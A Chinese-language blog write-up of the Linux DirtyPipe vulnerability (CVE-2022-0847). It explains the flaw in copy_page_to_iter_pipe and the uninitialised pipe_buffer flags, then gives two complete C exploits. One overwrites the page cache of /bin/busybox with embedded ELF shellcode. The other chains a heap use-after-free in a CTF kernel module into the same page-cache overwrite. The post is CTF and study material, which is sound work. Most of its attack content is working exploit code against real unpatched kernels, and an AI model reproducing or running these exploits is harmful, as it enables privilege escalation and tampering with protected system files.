CVE-2022-0847 DirtyPipe

DirtyPipe!久仰久仰doge

用的TPCTF的core的内核,顺带一个water-ker的新做法

背疼/(ㄒoㄒ)/~~

影响版本:>5.8,在5.10.102,5.15.25,5.16.11被修复

只提一些我觉得要注意的内容

DirtyPipe

主要注意往splice往pipe里写的函数copy_page_to_iter_pipe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
// 取offset和pipe_buffer
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];


if (off) {
// 是否可以续写(之前已经往pipe里写过这一页的内容,page已经挂上去了)
if (offset == off && buf->page == page) {
// 更新pipe_buffer的len和iov_iter的offset,跳至out
buf->len += bytes;
i->iov_offset += bytes;
goto out;
}
// 不能续写,取下一个pipe_buffer
i_head++;
buf = &pipe->bufs[i_head & p_mask];
}
if (pipe_full(i_head, p_tail, pipe->max_usage))
return 0;

// 更新pipe,把page挂上去,更新一系列参数
buf->ops = &page_cache_pipe_buf_ops;
get_page(page);
buf->page = page;
buf->offset = offset;
buf->len = bytes;

pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}

大致过程

  • 判断是否可以续写(同一个page,offset一致)
  • 不可续写则取下一个pipe_buffer
  • 把page挂进pipe_buffer,并设置一系列参数,没有更新flags

可以通过splice的过程发现

  • 往pipe中写时并不存在数据的复制,而是直接把page cache对应的page挂进了pipe_buffer
  • splice并没有初始化flags

在water-ker中发现当flags设置了PIPE_BUF_FLAG_CAN_MERGE就可以在pipe_buffer中进行续写,那么如果splice取到一个残留PIPE_BUF_FLAG_CAN_MERGE标志的pipe_buffer就可以对page cache进行覆写

利用过程如下

  • 打开要修改的文件
  • 先写遍所有的pipe_buffer,再读出所有的pipe_buffer,这样所有的pipe_buffer就都有PIPE_BUF_FLAG_CAN_MERGE标志了
  • splice一字节
  • 然后就可以覆写了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#define ATTACK_FILE "/bin/busybox"

void err_exit(char* msg)
{
printf("[X] %s\n", msg);
exit(-1);
}

int main(int argc, char** argv, char** env)
{

int fd;
int pipe_fd[2];
loff_t offset;
char buf[PAGE_SIZE];

fd = open(ATTACK_FILE, O_RDONLY);
if (fd < 0) err_exit("Can't open target file");
if (pipe(pipe_fd) < 0) err_exit("Can't create pipe");
for (int i = 0; i < 16; i++) if (write(pipe_fd[1], buf, PAGE_SIZE) < 0) err_exit("Can't write pipe");
for (int i = 0; i < 16; i++) if (read(pipe_fd[0], buf, PAGE_SIZE) < 0) err_exit("Can't read pipe");

offset = 0;
if (splice(fd, &offset, pipe_fd[1], NULL, 1, 0) <= 0) err_exit("Failed at splice");

unsigned char elfcode[] = {
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,
0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,
0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,
0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,
0x99, 0x0f, 0x05, 0xEB
};

if (write(pipe_fd[1], elfcode, sizeof(elfcode)) < 0) err_exit("Failed to write page cache");
return 0;
}

改完的busybox大概是这样,剩了一段

实际执行的代码

  • 先open /root/flag

  • 再利用sendfile读出flag的内容

2023强网拟态 water-ker

区别还是在取得第二个uaf之后

  • 泄露splice之后的page地址,这时flags已经是0了

  • 覆写,把flags改为0x10

  • 写入elfcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include "mykernel.h"
#define PIPE_SPRAY_NUM 200
#define SND_PIPE_BUF_SZ 96

int fd_water;
int pipe_fd[PIPE_SPRAY_NUM][2];
int orig_pid = -1;
int victim_pid = PIPE_SPRAY_NUM / 2;
struct pipe_buffer info_pipe_buf;
int snd_orig_pid = -1, snd_vicitm_pid = -1;

struct water_struct
{
char *buf;
};

void add_chunk(char *data)
{
struct water_struct tmp = {
.buf = data,
};
ioctl(fd_water, 0x20, &tmp);
}

void delete_chunk()
{
struct water_struct tmp = {
.buf = NULL,
};
ioctl(fd_water, 0x30, &tmp);
}

void edit_chunk(char *data)
{
struct water_struct tmp = {
.buf = data,
};
ioctl(fd_water, 0x50, &tmp);
}

char temp_zero_buf[0x1000];

int main(int argc, char **argv)
{
save_status();
bind_core(0);
fd_water = open("/dev/water", O_RDWR);
if(fd_water < 0)
err_exit("Fail to open the device water!");

puts("[*] spray pipe_buffer...");
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if(pipe(pipe_fd[i]) < 0)
{
printf("[x] failed to alloc %d pipe!", i);
err_exit("FAILED to create pipe!");
}
}

puts("[*] first extend pipe pages...");
for(int i = 0; i < PIPE_SPRAY_NUM / 2; i++)
{
if(fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
{
printf("[x] failed to extend %d pipe!", i);
err_exit("FAILED to extend pipe!");
}
}

puts("[*] UAF...");
add_chunk("Eurus");
delete_chunk();

puts("[*] second extend pipe pages...");
for(int i = PIPE_SPRAY_NUM / 2; i < PIPE_SPRAY_NUM; i++)
{
if(fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
{
printf("[x] failed to extend %d pipe!", i);
err_exit("FAILED to extend pipe!");
}
}

puts("[*] allocating pipe pages...");
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], "arttnba3", 8);
}

puts("[*] edit one...");
edit_chunk("\x80");

puts("[*] checking for corruption...");
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
char a3_str[0x10];
int nr;

memset(a3_str, '\0', sizeof(a3_str));
read(pipe_fd[i][0], a3_str, 8);
read(pipe_fd[i][0], &nr, sizeof(int));
if(!strcmp(a3_str, "arttnba3") && nr != i)
{
orig_pid = nr;
victim_pid = i;
printf("\033[32m\033[1m[+] Found victim: \033[0m%d "
"\033[32m\033[1m, orig: \033[0m%d\n\n",
victim_pid, orig_pid);
break;
}
}

if(victim_pid == -1)
{
err_exit("FAILED to corrupt pipe_buffer!");
}

size_t buf[0x1000];
size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
memset(buf, '\0', sizeof(buf));
write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 40 - 2*sizeof(int));

puts("[*] free original pipe...");
close(pipe_fd[orig_pid][0]);
close(pipe_fd[orig_pid][1]);

puts("[*] fcntl() to set the pipe_buffer on victim page...");
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (i == orig_pid || i == victim_pid)
{
continue;
}

if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) {
printf("[x] failed to resize %d pipe!\n", i);
err_exit("FAILED to re-alloc pipe_buffer!");
}
}

read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
read(pipe_fd[victim_pid][0], &info_pipe_buf, sizeof(info_pipe_buf));

printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"
"\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n",
info_pipe_buf.page, info_pipe_buf.ops);

if((size_t) info_pipe_buf.page < 0xffff000000000000 || (size_t) info_pipe_buf.ops < 0xffffffff81000000)
{
err_exit("FAILED to re-hit victim page!");
}

puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");
printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);

puts("[*] construct a second-level uaf pipe page...");
info_pipe_buf.page = (struct page*)((size_t) info_pipe_buf.page + 0x40);
write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
char a3_str[0x10];
int nr;
memset(a3_str, '\0', sizeof(a3_str));
if(i == orig_pid || i == victim_pid)
{
continue;
}
read(pipe_fd[i][0], a3_str, 8);
read(pipe_fd[i][0], &nr, sizeof(int));
if(nr < PIPE_SPRAY_NUM && i != nr)
{
snd_orig_pid = nr;
snd_vicitm_pid = i;
printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d "
"\033[32m\033[1m, orig: \033[0m%d\n",
snd_vicitm_pid, snd_orig_pid);
break;
}
}
if(snd_vicitm_pid == -1)
{
err_exit("FAILED to corrupt second-level pipe_buffer!");
}

char temp_buf[0x1000];
read(pipe_fd[victim_pid][0], temp_buf, 0x60);

write(pipe_fd[victim_pid][1], temp_zero_buf, 96*2);
for(int i = 0; i < 2; i++) write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));

loff_t offset = 0;
int fd_busybox = open("/bin/busybox", O_RDONLY);
splice(fd_busybox, &offset, pipe_fd[snd_vicitm_pid][1], NULL, 1, 0);

struct pipe_buffer file_buf;
read(pipe_fd[victim_pid][0], temp_buf, 96*2);
for(int i = 0; i < 2; i++) read(pipe_fd[victim_pid][0], &file_buf, sizeof(file_buf));

printf("\033[34m\033[1m[?] file_buf->page: \033[0m%p\n",
file_buf.page);

file_buf.offset = 0;
file_buf.len = 0;
file_buf.flags = 0x10;

write(pipe_fd[victim_pid][1], temp_zero_buf, 96*2);
for(int i = 0; i < 2; i++) write(pipe_fd[victim_pid][1], &file_buf, sizeof(file_buf));

unsigned char elfcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x48, 0xb8, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x50, 0x6a,
0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,
0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,
0x99, 0x0f, 0x05, 0xEB
};

write(pipe_fd[snd_vicitm_pid][1], elfcode, sizeof(elfcode));
return 0;
}

TODO

  • page cache
  • VFS
  • pipe & splice源码

CVE-2022-0847 DirtyPipe
http://akaieurus.github.io/2024/01/12/CVE-2022-0847-DirtyPipe/
作者
Eurus
发布于
2024年1月12日
许可协议